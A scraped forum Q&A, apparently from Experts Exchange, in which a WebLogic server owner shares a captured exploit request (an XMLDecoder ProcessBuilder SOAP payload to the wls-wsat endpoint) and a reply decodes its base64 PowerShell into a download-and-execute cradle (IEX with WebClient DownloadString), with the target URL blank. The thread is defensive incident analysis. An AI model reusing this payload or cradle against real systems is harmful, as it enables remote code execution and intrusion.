web server category

Wireshark capture on Oracle remote command execution attempt

experts, I captured the packet of an exploit attempt on my oracle weblogic server.

I am not able to decode the powershell command. It appears to be base64 encoded.  Can anyone tell me why I can't decrypt it?

Contents of the TCP stream below:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1195

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
    <void index="1">
    <void index="2">
    <void method="start"/>
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

Convert from Base64:

Open in new window

Which results in (line breaks added for readability):
$OS=(GWmi Win32_OperatingSystem).Caption;
$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL+ $OS";
IEX $WC.DownloadString('');

Open in new window


Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
trojan81Author Commented:
i see it works for me now. it didn't work initially.  thanks. will award you the points
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today

From novice to tech pro — start learning today.